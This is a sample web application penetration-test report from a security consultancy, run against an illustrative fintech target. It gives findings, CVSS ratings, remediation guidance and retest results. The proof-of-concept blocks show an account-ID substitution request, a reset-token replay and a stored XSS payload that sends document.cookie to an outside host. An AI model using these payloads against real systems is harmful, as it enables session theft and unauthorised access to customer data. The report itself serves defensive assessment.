XDEPTHSENSE

CONFIDENTIAL

SECURITY ASSESSMENT REPORT

Web Application Penetration Test

Sample engagement report — demonstrates our reporting format, depth of analysis and remediation guidance.

CLIENT	Acme Fintech Pvt. Ltd. (illustrative)
SCOPE	app.acme-sample.in · 2 API hosts · authenticated + unauthenticated
ENGAGEMENT	Grey-box web application & API penetration test
METHODOLOGY	OWASP WSTG 4.2 · PTES · OWASP API Top 10
TEST WINDOW	14–20 May 2026
REPORT REF	XDS-2026-WAPT-014
CLASSIFICATION	Confidential — Client & XDepthSense only

XDEPTHSENSE LLP · MUMBAI, INDIA

xdepthsense.com

DOCUMENT CONTROL

Confidentiality & Table of Contents

Confidentiality notice. This report contains sensitive information about security vulnerabilities in the client's systems. It is intended solely for authorised recipients at the client organisation and XDepthSense. Distribution, in whole or in part, must be controlled and shared strictly on a need-to-know basis. All findings are illustrative and drawn from a fictional target for demonstration purposes.

Version	Date	Author	Status
0.1	21 May 2026	Lead Consultant	Draft — internal QA
1.0	23 May 2026	Lead Consultant	Released to client
1.1	10 Jun 2026	Lead Consultant	Post-retest — 3 of 4 high/critical resolved

SECTION 1

Executive Summary

XDepthSense was engaged to perform a grey-box penetration test of Acme Fintech's customer-facing web application and its supporting API. Testing was conducted manually against the OWASP Web Security Testing Guide, supported by targeted tooling. This summary is written for a non-technical audience; technical detail follows in Section 4.

The application is **well-built at the infrastructure layer** — TLS, patching and network segmentation were sound. The material risk sits in **application authorisation logic**: two issues would allow one customer to access another customer's financial data. These are exploitable by any registered user with no special tooling, and are the reason this assessment is rated **High** overall.

1	3	4	5	3
CRITICAL	HIGH	MEDIUM	LOW	INFO

What matters most

Severity	Finding	Business impact in one line
CRITICAL	Broken object-level authorisation on `/api/v1/accounts/{id}`	Any customer can read any other customer's account & transactions
HIGH	Password-reset token not invalidated after use	A leaked reset link stays valid — account takeover window
HIGH	Stored XSS in transaction "note" field	One user's input runs script in a staff member's browser
HIGH	No rate limiting on login & OTP endpoints	Credential stuffing and OTP brute force are feasible

Bottom line. The critical and two of the high findings share one root cause — authorisation is enforced in the UI but not consistently re-checked at the API. Fixing that pattern once closes most of the risk. We verified fixes in a free retest on 10 June; the critical and two highs were resolved. One high (rate limiting) remained partially open at report close.

SECTION 2

Scope & Methodology

TARGET	app.acme-sample.in	ENV	Staging (prod-parity)
API HOSTS	2 (v1, v2)	TEST TYPE	Grey-box, credentialled
ROLES	Customer, Support, Admin	WINDOW	14–20 May 2026
EFFORT	7 consultant-days	RETEST	Included · 10 Jun 2026

Approach

Testing followed a structured, manual methodology. Automated scanning was used only for coverage and discovery; every reported finding was manually verified and exploited to confirm real-world impact. We do not report unconfirmed scanner output.

Recon & mapping · Authentication · Session management · Authorisation / BOLA · Input validation · Business logic · API (OWASP API Top 10) · Config & hardening

How we rate severity

Each finding is scored with **CVSS 3.1** and adjusted for the client's business context. Severity reflects real exploitability and impact on Acme's data and customers — not a raw scanner score.

Rating	CVSS band	Meaning for the business
CRITICAL	9.0–10.0	Immediate, severe impact. Fix before next release.
HIGH	7.0–8.9	Serious. Remediate within days.
MEDIUM	4.0–6.9	Meaningful. Remediate this cycle.
LOW	0.1–3.9	Minor. Fix as hygiene.
INFO	—	No direct risk; hardening advice.

SECTION 3

Findings Summary

All sixteen findings at a glance. Detailed write-ups for the critical and high issues follow in Section 4.

ID	Severity	Finding	OWASP	Status
XDS-01	CRITICAL	Broken object-level authorisation (BOLA) on account API	API1	Resolved
XDS-02	HIGH	Password-reset token reuse permits account takeover	A07	Resolved
XDS-03	HIGH	Stored XSS in transaction note field	A03	Resolved
XDS-04	HIGH	No rate limiting on login and OTP endpoints	A04	Partial
XDS-05	MEDIUM	Session cookie missing `SameSite` attribute	A05	Open
XDS-06	MEDIUM	Verbose API error messages leak stack traces	A05	Open
XDS-07	MEDIUM	User enumeration via login response timing	A07	Open
XDS-08	MEDIUM	PDF export follows server-side redirects (SSRF-lite)	A10	Open
XDS-09	LOW	Missing security headers (CSP, HSTS preload)	A05	Open
XDS-10	LOW	Autocomplete enabled on sensitive fields	A04	Open
XDS-11	LOW	Cacheable authenticated responses	A05	Open
XDS-12	LOW	Software version disclosure in headers	A05	Open
XDS-13	LOW	Weak password policy (8 char, no breach check)	A07	Open
XDS-14	INFO	TLS 1.0/1.1 offered on legacy API host	A02	Open
XDS-15	INFO	Verbose `Server` banner	A05	Open
XDS-16	INFO	No `security.txt` published	–	Open

SECTION 4

Detailed Findings

CRITICAL XDS-01 **Broken Object-Level Authorisation on Account API**

CVSS 3.1	9.1 · AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Location	`GET /api/v1/accounts/{account_id}/transactions`
OWASP	API1:2023 Broken Object Level Authorization · A01:2021
Status	**Resolved** — verified on retest 10 Jun 2026

DESCRIPTION

The account API returns transaction data based on the `account_id` in the URL, but does not verify that the authenticated user owns that account. Any logged-in customer can substitute another customer's `account_id` and retrieve their full transaction history, balance and linked contact details.

PROOF OF CONCEPT

```
# Authenticated as customer A (account 100420). Request account B (100418):
GET /api/v1/accounts/100418/transactions HTTP/1.1
Host: app.acme-sample.in
Authorization: Bearer eyJhbGciOi... (customer A's token)

HTTP/1.1 200 OK
{ "account_id": "100418", "holder": "R. Kulkarni",
  "balance": 248310.55, "transactions": [ ... 96 records ... ] }
```

IMPACT

Complete horizontal privilege escalation across the customer base. By iterating `account_id` values an attacker could enumerate every account on the platform — a mass data-breach and a reportable event under DPDPA 2023.

REMEDIATION

Enforce an ownership check server-side on every object access: resolve the account from the authenticated session/token, not from a client-supplied identifier, or verify that the supplied `account_id` belongs to the caller before returning data. Apply the same pattern to all `/accounts`, `/cards` and `/statements` endpoints.

HIGH XDS-02 Password-Reset Token Reuse Permits Account Takeover

CVSS 3.1	8.1 · AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Location	POST /api/v1/auth/reset-password
OWASP	A07:2021 Identification & Authentication Failures
Status	**Resolved** — verified on retest

DESCRIPTION

Password-reset tokens are not invalidated after a successful reset and remain valid for their full 24-hour TTL. A reset link exposed in a browser history, forwarded email or referrer header can be replayed to set the password again and seize the account.

PROOF OF CONCEPT

```
# Same token used twice, minutes apart — both succeed:
POST /api/v1/auth/reset-password
{ "token": "b7f3...e19a", "password": "AttackerPass1!" }
HTTP/1.1 200 OK  # first use — legitimate

POST /api/v1/auth/reset-password
{ "token": "b7f3...e19a", "password": "Owned2!" }
HTTP/1.1 200 OK  # token still accepted
```

REMEDIATION

Invalidate the token atomically on first successful use, bind it to a single account, and shorten the TTL to 30-60 minutes. Invalidate all active sessions on password change and notify the account holder by email.

HIGH XDS-03 Stored Cross-Site Scripting in Transaction Note

CVSS 3.1	7.6 · AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Location	note field · rendered in Support console
OWASP	A03:2021 Injection
Status	**Resolved** — output encoding added

DESCRIPTION

The free-text "note" a customer attaches to a transaction is stored without sanitisation and rendered unescaped in the internal Support console. A crafted note executes JavaScript in a support agent's authenticated session — enabling session theft or actions performed as staff.

PROOF OF CONCEPT

```
# Customer sets a transaction note to:
<img src=x onerror="fetch('//xds.poc/c?'+document.cookie)">
# Fires when a support agent opens the ticket queue.
```

REMEDIATION

Contextually output-encode all user-supplied data at render time in the Support console; apply a strict Content-Security-Policy; treat customer input as untrusted everywhere it is displayed, internal tools included.

> In a live report, findings XDS-04 through XDS-16 follow in the same format. They are omitted here to keep this sample concise.

SECTION 5

Remediation Roadmap

Findings sequenced by risk and effort so the team can act without re-reading the whole report.

Now — before the next release

- **XDS-01 Broken object-level authorisation.** Add server-side ownership checks across all account, card and statement endpoints. Single highest-impact fix.
- **XDS-02 Reset-token reuse.** Invalidate tokens on first use; shorten TTL; kill sessions on password change.

This sprint

- **XDS-03 Stored XSS.** Output-encode in the Support console and ship a CSP.
- **XDS-04 Rate limiting.** Throttle login and OTP by IP and account; add lockout/backoff.

This cycle

- **XDS-05–08.** `SameSite` cookies, suppress verbose errors, constant-time login responses, and validate the PDF-export URL allow-list.

Hygiene backlog

- **XDS-09–16.** Security headers, password-policy hardening (breach-list check), TLS deprecation on the legacy host, banner suppression and a published `security.txt`.

> **Strategic note.** The authorisation findings point to a systemic gap rather than isolated bugs: access control is enforced in the UI layer but re-checked inconsistently at the API. We recommend a one-time authorisation review across all API routes and an automated test that asserts cross-tenant access is denied, wired into CI so the class of bug cannot regress.

SECTION 6

Retest & Attestation

Every XDepthSense engagement includes a remediation retest at no extra cost. We re-examine each reported issue after your team has applied fixes and confirm whether the risk is genuinely closed.

ID	Severity	Finding	Retest result
XDS-01	CRITICAL	Broken object-level authorisation	Resolved
XDS-02	HIGH	Password-reset token reuse	Resolved
XDS-03	HIGH	Stored XSS in transaction note	Resolved
XDS-04	HIGH	No rate limiting on auth endpoints	Partial — login throttled, OTP pending

Attestation. On completion of remediation and a clean retest, XDepthSense issues a signed attestation letter suitable for sharing with clients, partners, auditors and regulators — confirming the scope tested, the methodology applied and the resolution status of all findings. Sample wording available on request.

Lead Security Consultant
XDepthSense LLP · OSCP, CRTE
Signed on release of v1.1

Reviewed & approved
Engagement Director · CISM, ISO 27001 LA
Quality assurance

XDepthSense LLP — Resource Unit for Defence, Resilience & Analytics
603, 6th Floor, Nestle CHS, Shaikh Misree Road, Antop Hill, Mumbai 400037 · xdepthsense.com
Manual, methodology-driven testing · senior consultants only · retest & attestation included